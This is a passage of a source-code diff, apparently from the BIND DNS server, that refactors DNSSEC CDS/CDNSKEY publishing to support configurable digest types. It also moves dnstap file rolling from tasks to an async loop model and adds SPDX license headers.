+	dns_rdataset_t *cds, unsigned int digesttype, dns_ttl_t ttl,
+	dns_diff_t *diff, isc_mem_t *mctx) {
+	isc_result_t r = ISC_R_SUCCESS;
+	unsigned char dsbuf[DNS_DS_BUFFERSIZE];
+	dns_rdata_t cdsrdata = DNS_RDATA_INIT;
+	dns_name_t *origin = dst_key_name(key->key);
+
+	r = dns_ds_buildrdata(origin, keyrdata, digesttype, dsbuf, &cdsrdata);
+	if (r != ISC_R_SUCCESS) {
+		char algbuf[DNS_DSDIGEST_FORMATSIZE];
+		dns_dsdigest_format(digesttype, algbuf,
+				    DNS_DSDIGEST_FORMATSIZE);
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_DNSSEC, ISC_LOG_ERROR,
+			      "build rdata CDS (%s) for key %s failed", algbuf,
+			      keystr);
+		return (r);
+	}
+
+	cdsrdata.type = dns_rdatatype_cds;
+	if (!dns_rdataset_isassociated(cds) || !exists(cds, &cdsrdata)) {
+		char algbuf[DNS_DSDIGEST_FORMATSIZE];
+		dns_dsdigest_format(digesttype, algbuf,
+				    DNS_DSDIGEST_FORMATSIZE);
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
+			      "CDS (%s) for key %s is now published", algbuf,
+			      keystr);
+		r = addrdata(&cdsrdata, diff, origin, ttl, mctx);
+	}
+	return (r);
+}
+
+static isc_result_t
+delete_cds(dns_dnsseckey_t *key, dns_rdata_t *keyrdata, const char *keystr,
+	   dns_rdataset_t *cds, unsigned int digesttype, dns_diff_t *diff,
+	   isc_mem_t *mctx) {
+	isc_result_t r = ISC_R_SUCCESS;
+	unsigned char dsbuf[DNS_DS_BUFFERSIZE];
+	dns_rdata_t cdsrdata = DNS_RDATA_INIT;
+	dns_name_t *origin = dst_key_name(key->key);
+
+	r = dns_ds_buildrdata(origin, keyrdata, digesttype, dsbuf, &cdsrdata);
+	if (r != ISC_R_SUCCESS) {
+		return (r);
+	}
+
+	cdsrdata.type = dns_rdatatype_cds;
+	if (exists(cds, &cdsrdata)) {
+		char algbuf[DNS_DSDIGEST_FORMATSIZE];
+		dns_dsdigest_format(digesttype, algbuf,
+				    DNS_DSDIGEST_FORMATSIZE);
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
+			      "CDS (%s) for key %s is now deleted", algbuf,
+			      keystr);
+		r = delrdata(&cdsrdata, diff, origin, cds->ttl, mctx);
+	}
+	return (r);
+}
+
 isc_result_t
 dns_dnssec_syncupdate(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *rmkeys,
 		      dns_rdataset_t *cds, dns_rdataset_t *cdnskey,
-		      isc_stdtime_t now, dns_ttl_t ttl, dns_diff_t *diff,
+		      isc_stdtime_t now, dns_kasp_digestlist_t *digests,
+		      bool gencdnskey, dns_ttl_t ttl, dns_diff_t *diff,
 		      isc_mem_t *mctx) {
-	unsigned char dsbuf1[DNS_DS_BUFFERSIZE];
-	unsigned char dsbuf2[DNS_DS_BUFFERSIZE];
 	unsigned char keybuf[DST_KEY_MAXSIZE];
 	isc_result_t result;
 	dns_dnsseckey_t *key;
 
+	REQUIRE(digests != NULL);
+	REQUIRE(keys != NULL);
+	REQUIRE(rmkeys != NULL);
+
 	for (key = ISC_LIST_HEAD(*keys); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
-		dns_rdata_t cds_sha1 = DNS_RDATA_INIT;
-		dns_rdata_t cds_sha256 = DNS_RDATA_INIT;
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		dns_rdata_t cdnskeyrdata = DNS_RDATA_INIT;
 		dns_name_t *origin = dst_key_name(key->key);
 
-		RETERR(make_dnskey(key->key, keybuf, sizeof(keybuf),
-				   &cdnskeyrdata));
-
-		/*
-		 * We construct the SHA-1 version of the record so we can
-		 * delete any old records generated by previous versions of
-		 * BIND. We only add SHA-256 records.
-		 *
-		 * XXXMPA we need to be able to specify the DS algorithms
-		 * to be used here and below with rmkeys.
-		 */
-		RETERR(dns_ds_buildrdata(origin, &cdnskeyrdata,
-					 DNS_DSDIGEST_SHA1, dsbuf1, &cds_sha1));
-		RETERR(dns_ds_buildrdata(origin, &cdnskeyrdata,
-					 DNS_DSDIGEST_SHA256, dsbuf2,
-					 &cds_sha256));
-
-		/*
-		 * Now that the we have created the DS records convert
-		 * the rdata to CDNSKEY and CDS for comparison.
-		 */
+		RETERR(dns_dnssec_make_dnskey(key->key, keybuf, sizeof(keybuf),
+					      &cdnskeyrdata));
 		cdnskeyrdata.type = dns_rdatatype_cdnskey;
-		cds_sha1.type = dns_rdatatype_cds;
-		cds_sha256.type = dns_rdatatype_cds;
 
 		if (syncpublish(key->key, now)) {
 			char keystr[DST_KEY_FORMATSIZE];
 			dst_key_format(key->key, keystr, sizeof(keystr));
 
-			if (!dns_rdataset_isassociated(cdnskey) ||
-			    !exists(cdnskey, &cdnskeyrdata)) {
-				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-					      DNS_LOGMODULE_DNSSEC,
-					      ISC_LOG_INFO,
-					      "CDS for key %s is now published",
-					      keystr);
-				RETERR(addrdata(&cdnskeyrdata, diff, origin,
-						ttl, mctx));
+			for (dns_kasp_digest_t *alg = ISC_LIST_HEAD(*digests);
+			     alg != NULL; alg = ISC_LIST_NEXT(alg, link))
+			{
+				RETERR(add_cds(key, &cdnskeyrdata,
+					       (const char *)keystr, cds,
+					       alg->digest, ttl, diff, mctx));
 			}
-			/* Only publish SHA-256 (SHA-1 is deprecated) */
-			if (!dns_rdataset_isassociated(cds) ||
-			    !exists(cds, &cds_sha256)) {
+
+			if (gencdnskey &&
+			    (!dns_rdataset_isassociated(cdnskey) ||
+			     !exists(cdnskey, &cdnskeyrdata)))
+			{
 				isc_log_write(
 					dns_lctx, DNS_LOGCATEGORY_GENERAL,
 					DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
 					"CDNSKEY for key %s is now published",
 					keystr);
-				RETERR(addrdata(&cds_sha256, diff, origin, ttl,
-						mctx));
+				RETERR(addrdata(&cdnskeyrdata, diff, origin,
+						ttl, mctx));
 			}
 		}
 
@@ -2028,30 +2076,16 @@ dns_dnssec_syncupdate(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *rmkeys,
 			dst_key_format(key->key, keystr, sizeof(keystr));
 
 			if (dns_rdataset_isassociated(cds)) {
-				/* Delete both SHA-1 and SHA-256 */
-				if (exists(cds, &cds_sha1)) {
-					isc_log_write(dns_lctx,
-						      DNS_LOGCATEGORY_GENERAL,
-						      DNS_LOGMODULE_DNSSEC,
-						      ISC_LOG_INFO,
-						      "CDS (SHA-1) for key %s "
-						      "is now deleted",
-						      keystr);
-					RETERR(delrdata(&cds_sha1, diff, origin,
-							cds->ttl, mctx));
-				}
-				if (exists(cds, &cds_sha256)) {
-					isc_log_write(dns_lctx,
-						      DNS_LOGCATEGORY_GENERAL,
-						      DNS_LOGMODULE_DNSSEC,
-						      ISC_LOG_INFO,
-						      "CDS (SHA-256) for key "
-						      "%s is now deleted",
-						      keystr);
-					RETERR(delrdata(&cds_sha256, diff,
-							origin, cds->ttl,
-							mctx));
-				}
+				/* Delete all possible CDS records */
+				delete_cds(key, &cdnskeyrdata,
+					   (const char *)keystr, cds,
+					   DNS_DSDIGEST_SHA1, diff, mctx);
+				delete_cds(key, &cdnskeyrdata,
+					   (const char *)keystr, cds,
+					   DNS_DSDIGEST_SHA256, diff, mctx);
+				delete_cds(key, &cdnskeyrdata,
+					   (const char *)keystr, cds,
+					   DNS_DSDIGEST_SHA384, diff, mctx);
 			}
 
 			if (dns_rdataset_isassociated(cdnskey)) {
@@ -2072,7 +2106,8 @@ dns_dnssec_syncupdate(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *rmkeys,
 	}
 
 	if (!dns_rdataset_isassociated(cds) &&
-	    !dns_rdataset_isassociated(cdnskey)) {
+	    !dns_rdataset_isassociated(cdnskey))
+	{
 		return (ISC_R_SUCCESS);
 	}
 
@@ -2080,44 +2115,24 @@ dns_dnssec_syncupdate(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *rmkeys,
 	 * Unconditionally remove CDS/DNSKEY records for removed keys.
 	 */
 	for (key = ISC_LIST_HEAD(*rmkeys); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
-		dns_rdata_t cds_sha1 = DNS_RDATA_INIT;
-		dns_rdata_t cds_sha256 = DNS_RDATA_INIT;
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		dns_rdata_t cdnskeyrdata = DNS_RDATA_INIT;
 		dns_name_t *origin = dst_key_name(key->key);
 
 		char keystr[DST_KEY_FORMATSIZE];
 		dst_key_format(key->key, keystr, sizeof(keystr));
 
-		RETERR(make_dnskey(key->key, keybuf, sizeof(keybuf),
-				   &cdnskeyrdata));
+		RETERR(dns_dnssec_make_dnskey(key->key, keybuf, sizeof(keybuf),
+					      &cdnskeyrdata));
 
 		if (dns_rdataset_isassociated(cds)) {
-			RETERR(dns_ds_buildrdata(origin, &cdnskeyrdata,
-						 DNS_DSDIGEST_SHA1, dsbuf1,
-						 &cds_sha1));
-			RETERR(dns_ds_buildrdata(origin, &cdnskeyrdata,
-						 DNS_DSDIGEST_SHA256, dsbuf2,
-						 &cds_sha256));
-			if (exists(cds, &cds_sha1)) {
-				isc_log_write(
-					dns_lctx, DNS_LOGCATEGORY_GENERAL,
-					DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
-					"CDS (SHA-1) for key %s is now deleted",
-					keystr);
-				RETERR(delrdata(&cds_sha1, diff, origin,
-						cds->ttl, mctx));
-			}
-			if (exists(cds, &cds_sha256)) {
-				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-					      DNS_LOGMODULE_DNSSEC,
-					      ISC_LOG_INFO,
-					      "CDS (SHA-256) for key %s is now "
-					      "deleted",
-					      keystr);
-				RETERR(delrdata(&cds_sha256, diff, origin,
-						cds->ttl, mctx));
-			}
+			delete_cds(key, &cdnskeyrdata, (const char *)keystr,
+				   cds, DNS_DSDIGEST_SHA1, diff, mctx);
+			delete_cds(key, &cdnskeyrdata, (const char *)keystr,
+				   cds, DNS_DSDIGEST_SHA256, diff, mctx);
+			delete_cds(key, &cdnskeyrdata, (const char *)keystr,
+				   cds, DNS_DSDIGEST_SHA384, diff, mctx);
 		}
 
 		if (dns_rdataset_isassociated(cdnskey)) {
@@ -2143,7 +2158,7 @@ isc_result_t
 dns_dnssec_syncdelete(dns_rdataset_t *cds, dns_rdataset_t *cdnskey,
 		      dns_name_t *origin, dns_rdataclass_t zclass,
 		      dns_ttl_t ttl, dns_diff_t *diff, isc_mem_t *mctx,
-		      bool dnssec_insecure) {
+		      bool expect_cds_delete, bool expect_cdnskey_delete) {
 	unsigned char dsbuf[5] = { 0, 0, 0, 0, 0 };  /* CDS DELETE rdata */
 	unsigned char keybuf[5] = { 0, 0, 3, 0, 0 }; /* CDNSKEY DELETE rdata */
 	char namebuf[DNS_NAME_FORMATSIZE];
@@ -2163,30 +2178,46 @@ dns_dnssec_syncdelete(dns_rdataset_t *cds, dns_rdataset_t *cdnskey,
 
 	dns_name_format(origin, namebuf, sizeof(namebuf));
 
-	if (dnssec_insecure) {
-		if (!dns_rdataset_isassociated(cdnskey) ||
-		    !exists(cdnskey, &cdnskey_delete)) {
+	if (expect_cds_delete) {
+		if (!dns_rdataset_isassociated(cds) ||
+		    !exists(cds, &cds_delete))
+		{
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
-				      "CDNSKEY (DELETE) for zone %s is now "
+				      "CDS (DELETE) for zone %s is now "
 				      "published",
 				      namebuf);
-			RETERR(addrdata(&cdnskey_delete, diff, origin, ttl,
+			RETERR(addrdata(&cds_delete, diff, origin, ttl, mctx));
+		}
+	} else {
+		if (dns_rdataset_isassociated(cds) && exists(cds, &cds_delete))
+		{
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+				      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
+				      "CDS (DELETE) for zone %s is now "
+				      "deleted",
+				      namebuf);
+			RETERR(delrdata(&cds_delete, diff, origin, cds->ttl,
 					mctx));
 		}
+	}
 
-		if (!dns_rdataset_isassociated(cds) ||
-		    !exists(cds, &cds_delete)) {
+	if (expect_cdnskey_delete) {
+		if (!dns_rdataset_isassociated(cdnskey) ||
+		    !exists(cdnskey, &cdnskey_delete))
+		{
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
-				      "CDS (DELETE) for zone %s is now "
+				      "CDNSKEY (DELETE) for zone %s is now "
 				      "published",
 				      namebuf);
-			RETERR(addrdata(&cds_delete, diff, origin, ttl, mctx));
+			RETERR(addrdata(&cdnskey_delete, diff, origin, ttl,
+					mctx));
 		}
 	} else {
 		if (dns_rdataset_isassociated(cdnskey) &&
-		    exists(cdnskey, &cdnskey_delete)) {
+		    exists(cdnskey, &cdnskey_delete))
+		{
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
 				      "CDNSKEY (DELETE) for zone %s is now "
@@ -2195,17 +2226,6 @@ dns_dnssec_syncdelete(dns_rdataset_t *cds, dns_rdataset_t *cdnskey,
 			RETERR(delrdata(&cdnskey_delete, diff, origin,
 					cdnskey->ttl, mctx));
 		}
-
-		if (dns_rdataset_isassociated(cds) && exists(cds, &cds_delete))
-		{
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
-				      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
-				      "CDS (DELETE) for zone %s is now "
-				      "deleted",
-				      namebuf);
-			RETERR(delrdata(&cds_delete, diff, origin, cds->ttl,
-					mctx));
-		}
 	}
 
 	result = ISC_R_SUCCESS;
@@ -2224,7 +2244,8 @@ isc_result_t
 dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 		      dns_dnsseckeylist_t *removed, const dns_name_t *origin,
 		      dns_ttl_t hint_ttl, dns_diff_t *diff, isc_mem_t *mctx,
-		      void (*report)(const char *, ...)) {
+		      void (*report)(const char *, ...)
+			      ISC_FORMAT_PRINTF(1, 2)) {
 	isc_result_t result;
 	dns_dnsseckey_t *key, *key1, *key2, *next;
 	bool found_ttl = false;
@@ -2239,7 +2260,8 @@ dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 	 * use their TTL for all subsequent published keys.
 	 */
 	for (key = ISC_LIST_HEAD(*keys); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		if (key->source == dns_keysource_user &&
 		    (key->hint_publish || key->force_publish))
 		{
@@ -2260,10 +2282,12 @@ dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 		dns_ttl_t shortest = 0;
 
 		for (key = ISC_LIST_HEAD(*newkeys); key != NULL;
-		     key = ISC_LIST_NEXT(key, link)) {
+		     key = ISC_LIST_NEXT(key, link))
+		{
 			dns_ttl_t thisttl = dst_key_getttl(key->key);
 			if (thisttl != 0 &&
-			    (shortest == 0 || thisttl < shortest)) {
+			    (shortest == 0 || thisttl < shortest))
+			{
 				shortest = thisttl;
 			}
 		}
@@ -2411,7 +2435,8 @@ dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 			continue;
 		} else {
 			if (!key2->is_active &&
-			    (key1->hint_sign || key1->force_sign)) {
+			    (key1->hint_sign || key1->force_sign))
+			{
 				key2->first_sign = true;
 				isc_log_write(
 					dns_lctx, DNS_LOGCATEGORY_DNSSEC,
@@ -2420,7 +2445,8 @@ dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 					key1->ksk ? (key1->zsk ? "CSK" : "KSK")
 						  : "ZSK");
 			} else if (key2->is_active && !key1->hint_sign &&
-				   !key1->force_sign) {
+				   !key1->force_sign)
+			{
 				isc_log_write(
 					dns_lctx, DNS_LOGCATEGORY_DNSSEC,
 					DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
diff --git a/lib/dns/dnstap.c b/lib/dns/dnstap.c
index 56649f33c0..0ceba0c07f 100644
--- a/lib/dns/dnstap.c
+++ b/lib/dns/dnstap.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -52,27 +54,25 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/async.h>
 #include <isc/buffer.h>
 #include <isc/file.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/once.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/sockaddr.h>
-#include <isc/task.h>
 #include <isc/thread.h>
 #include <isc/time.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
 #include <dns/dnstap.h>
-#include <dns/events.h>
 #include <dns/log.h>
 #include <dns/message.h>
 #include <dns/name.h>
 #include <dns/rdataset.h>
-#include <dns/result.h>
 #include <dns/stats.h>
 #include <dns/types.h>
 #include <dns/view.h>
@@ -103,20 +103,19 @@ struct dns_dtenv {
 	isc_refcount_t refcount;
 
 	isc_mem_t *mctx;
+	isc_loop_t *loop;
 
 	struct fstrm_iothr *iothr;
 	struct fstrm_iothr_options *fopt;
 
-	isc_task_t *reopen_task;
-	isc_mutex_t reopen_lock; /* locks 'reopen_queued'
-				  * */
+	isc_mutex_t reopen_lock; /* locks 'reopen_queued' */
 	bool reopen_queued;
 
 	isc_region_t identity;
 	isc_region_t version;
 	char *path;
 	dns_dtmode_t mode;
-	isc_offset_t max_size;
+	off_t max_size;
 	int rolls;
 	isc_log_rollsuffix_t suffix;
 	isc_stats_t *stats;
@@ -140,7 +139,7 @@ static atomic_uint_fast32_t global_generation;
 
 isc_result_t
 dns_dt_create(isc_mem_t *mctx, dns_dtmode_t mode, const char *path,
-	      struct fstrm_iothr_options **foptp, isc_task_t *reopen_task,
+	      struct fstrm_iothr_options **foptp, isc_loop_t *loop,
 	      dns_dtenv_t **envp) {
 	isc_result_t result = ISC_R_SUCCESS;
 	fstrm_res res;
@@ -159,16 +158,17 @@ dns_dt_create(isc_mem_t *mctx, dns_dtmode_t mode, const char *path,
 
 	atomic_fetch_add_release(&global_generation, 1);
 
-	env = isc_mem_get(mctx, sizeof(dns_dtenv_t));
+	env = isc_mem_get(mctx, sizeof(*env));
+	*env = (dns_dtenv_t){
+		.loop = loop,
+		.reopen_queued = false,
+	};
 
-	memset(env, 0, sizeof(dns_dtenv_t));
 	isc_mem_attach(mctx, &env->mctx);
-	env->reopen_task = reopen_task;
 	isc_mutex_init(&env->reopen_lock);
-	env->reopen_queued = false;
 	env->path = isc_mem_strdup(env->mctx, path);
 	isc_refcount_init(&env->refcount, 1);
-	CHECK(isc_stats_create(env->mctx, &env->stats, dns_dnstapcounter_max));
+	isc_stats_create(env->mctx, &env->stats, dns_dnstapcounter_max);
 
 	fwopt = fstrm_writer_options_init();
 	if (fwopt == NULL) {
@@ -279,14 +279,12 @@ dns_dt_reopen(dns_dtenv_t *env, int roll) {
 	struct fstrm_file_options *ffwopt = NULL;
 	struct fstrm_writer_options *fwopt = NULL;
 	struct fstrm_writer *fw = NULL;
+	isc_loopmgr_t *loopmgr = NULL;
 
 	REQUIRE(VALID_DTENV(env));
 
-	/*
-	 * Run in task-exclusive mode.
-	 */
-	result = isc_task_beginexclusive(env->reopen_task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	loopmgr = isc_loop_getloopmgr(env->loop);
+	isc_loopmgr_pause(loopmgr);
 
 	/*
 	 * Check that we can create a new fw object.
@@ -382,7 +380,7 @@ dns_dt_reopen(dns_dtenv_t *env, int roll) {
 		fstrm_writer_options_destroy(&fwopt);
 	}
 
-	isc_task_endexclusive(env->reopen_task);
+	isc_loopmgr_resume(loopmgr);
 
 	return (result);
 }
@@ -633,8 +631,7 @@ dnstap_type(dns_dtmsgtype_t msgtype) {
 	case DNS_DTTYPE_UR:
 		return (DNSTAP__MESSAGE__TYPE__UPDATE_RESPONSE);
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -680,36 +677,18 @@ setaddr(dns_dtmsg_t *dm, isc_sockaddr_t *sa, bool tcp,
 }
 
 /*%
- * Invoke dns_dt_reopen() and re-allow dnstap output file rolling.  This
- * function is run in the context of the task stored in the 'reopen_task' field
- * of the dnstap environment structure.
+ * Invoke dns_dt_reopen() and re-allow dnstap output file rolling.
  */
 static void
-perform_reopen(isc_task_t *task, isc_event_t *event) {
-	dns_dtenv_t *env;
-
-	REQUIRE(event != NULL);
-	REQUIRE(event->ev_type == DNS_EVENT_FREESTORAGE);
-
-	env = (dns_dtenv_t *)event->ev_arg;
+perform_reopen(void *arg) {
+	dns_dtenv_t *env = (dns_dtenv_t *)arg;
 
 	REQUIRE(VALID_DTENV(env));
-	REQUIRE(task == env->reopen_task);
 
-	/*
-	 * Roll output file in the context of env->reopen_task.
-	 */
+	/* Roll output file. */
 	dns_dt_reopen(env, env->rolls);
 
-	/*
-	 * Clean up.
-	 */
-	isc_event_free(&event);
-	isc_task_detach(&task);
-
-	/*
-	 * Re-allow output file rolling.
-	 */
+	/* Re-allow output file rolling. */
 	LOCK(&env->reopen_lock);
 	env->reopen_queued = false;
 	UNLOCK(&env->reopen_lock);
@@ -721,15 +700,10 @@ perform_reopen(isc_task_t *task, isc_event_t *event) {
  */
 static void
 check_file_size_and_maybe_reopen(dns_dtenv_t *env) {
-	isc_task_t *reopen_task = NULL;
-	isc_event_t *event;
 	struct stat statbuf;
 
-	/*
-	 * If the task from which the output file should be reopened was not
-	 * specified, abort.
-	 */
-	if (env->reopen_task == NULL) {
+	/* If a loopmgr wasn't specified, abort. */
+	if (env->loop == NULL) {
 		return;
 	}
 
@@ -746,15 +720,10 @@ check_file_size_and_maybe_reopen(dns_dtenv_t *env) {
 	}
 
 	/*
-	 * We need to roll the output file, but it needs to be done in the
-	 * context of env->reopen_task.  Allocate and send an event to achieve
-	 * that, then disallow output file rolling until the roll we queue is
-	 * completed.
+	 * Send an event to roll the output file, then disallow output file
+	 * rolling until the roll we queue is completed.
 	 */
-	event = isc_event_allocate(env->mctx, NULL, DNS_EVENT_FREESTORAGE,
-				   perform_reopen, env, sizeof(*event));
-	isc_task_attach(env->reopen_task, &reopen_task);
-	isc_task_send(reopen_task, &event);
+	isc_async_run(env->loop, perform_reopen, env);
 	env->reopen_queued = true;
 
 unlock_and_return:
@@ -784,7 +753,7 @@ dns_dt_send(dns_view_t *view, dns_dtmsgtype_t msgtype, isc_sockaddr_t *qaddr,
 		check_file_size_and_maybe_reopen(view->dtenv);
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 	t = &now;
 
 	init_msg(view->dtenv, &dm, dnstap_type(msgtype));
@@ -807,14 +776,15 @@ dns_dt_send(dns_view_t *view, dns_dtmsgtype_t msgtype, isc_sockaddr_t *qaddr,
 		dm.m.response_time_nsec = isc_time_nanoseconds(t);
 		dm.m.has_response_time_nsec = 1;
 
-		cpbuf(buf, &dm.m.response_message, &dm.m.has_response_message);
-
-		/* Types RR and FR get both query and response times */
-		if (msgtype == DNS_DTTYPE_CR || msgtype == DNS_DTTYPE_AR) {
+		/*
+		 * Types RR and FR can fall through and get the query
+		 * time set as well. Any other response type, break.
+		 */
+		if (msgtype != DNS_DTTYPE_RR && msgtype != DNS_DTTYPE_FR) {
 			break;
 		}
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case DNS_DTTYPE_AQ:
 	case DNS_DTTYPE_CQ:
 	case DNS_DTTYPE_FQ:
@@ -830,8 +800,6 @@ dns_dt_send(dns_view_t *view, dns_dtmsgtype_t msgtype, isc_sockaddr_t *qaddr,
 		dm.m.has_query_time_sec = 1;
 		dm.m.query_time_nsec = isc_time_nanoseconds(t);
 		dm.m.has_query_time_nsec = 1;
-
-		cpbuf(buf, &dm.m.query_message, &dm.m.has_query_message);
 		break;
 	default:
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSTAP,
@@ -840,6 +808,13 @@ dns_dt_send(dns_view_t *view, dns_dtmsgtype_t msgtype, isc_sockaddr_t *qaddr,
 		return;
 	}
 
+	/* Query and response messages */
+	if ((msgtype & DNS_DTTYPE_QUERY) != 0) {
+		cpbuf(buf, &dm.m.query_message, &dm.m.has_query_message);
+	} else if ((msgtype & DNS_DTTYPE_RESPONSE) != 0) {
+		cpbuf(buf, &dm.m.response_message, &dm.m.has_response_message);
+	}
+
 	/* Zone/bailiwick */
 	switch (msgtype) {
 	case DNS_DTTYPE_AR:
@@ -877,7 +852,7 @@ static isc_result_t
 putstr(isc_buffer_t **b, const char *str) {
 	isc_result_t result;
 
-	result = isc_buffer_reserve(b, strlen(str));
+	result = isc_buffer_reserve(*b, strlen(str));
 	if (result != ISC_R_SUCCESS) {
 		return (ISC_R_NOSPACE);
 	}
@@ -983,8 +958,7 @@ dns_dt_open(const char *filename, dns_dtmode_t mode, isc_mem_t *mctx,
 		result = ISC_R_NOTIMPLEMENTED;
 		goto cleanup;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	isc_mem_attach(mctx, &handle->mctx);
@@ -1023,7 +997,7 @@ dns_dt_getframe(dns_dthandle_t *handle, uint8_t **bufp, size_t *sizep) {
 		if (data == NULL) {
 			return (ISC_R_FAILURE);
 		}
-		DE_CONST(data, *bufp);
+		*bufp = UNCONST(data);
 		return (ISC_R_SUCCESS);
 	case fstrm_res_stop:
 		return (ISC_R_NOMORE);
@@ -1060,8 +1034,8 @@ dns_dt_parse(isc_mem_t *mctx, isc_region_t *src, dns_dtdata_t **destp) {
 	REQUIRE(destp != NULL && *destp == NULL);
 
 	d = isc_mem_get(mctx, sizeof(*d));
+	*d = (dns_dtdata_t){ 0 };
 
-	memset(d, 0, sizeof(*d));
 	isc_mem_attach(mctx, &d->mctx);
 
 	d->frame = dnstap__dnstap__unpack(NULL, src->length, src->base);
@@ -1353,7 +1327,7 @@ dns_dt_datatotext(dns_dtdata_t *d, isc_buffer_t **dest) {
 		CHECK(putstr(dest, d->typebuf));
 	}
 
-	CHECK(isc_buffer_reserve(dest, 1));
+	CHECK(isc_buffer_reserve(*dest, 1));
 	isc_buffer_putuint8(*dest, 0);
 
 cleanup:
diff --git a/lib/dns/dnstap.proto b/lib/dns/dnstap.proto
index af73704365..9d0ac4167a 100644
--- a/lib/dns/dnstap.proto
+++ b/lib/dns/dnstap.proto
@@ -1,3 +1,14 @@
+// Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+//
+// SPDX-License-Identifier: MPL-2.0
+//
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, you can obtain one at https://mozilla.org/MPL/2.0/.
+//
+// See the COPYRIGHT file distributed with this work for additional
+// information regarding copyright ownership.
+
 // dnstap: flexible, structured event replication format for DNS software
 //
 // This file contains the protobuf schemas for the "dnstap" structured event
diff --git a/lib/dns/ds.c b/lib/dns/ds.c
index d357e6602b..22f158bd71 100644
--- a/lib/dns/ds.c
+++ b/lib/dns/ds.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,6 +18,7 @@
 #include <isc/buffer.h>
 #include <isc/md.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
 #include <dns/ds.h>
@@ -23,7 +26,6 @@
 #include <dns/name.h>
 #include <dns/rdata.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
@@ -61,8 +63,7 @@ dns_ds_fromkeyrdata(const dns_name_t *owner, dns_rdata_t *key,
 		break;
 
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	name = dns_fixedname_initname(&fname);
diff --git a/lib/dns/dst_api.c b/lib/dns/dst_api.c
index c1e33aa444..35515ef655 100644
--- a/lib/dns/dst_api.c
+++ b/lib/dns/dst_api.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) Network Associates, Inc.
+ */
+
+/*
+ * Copyright (C) Network Associates, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -25,20 +29,22 @@
 
 /*! \file */
 
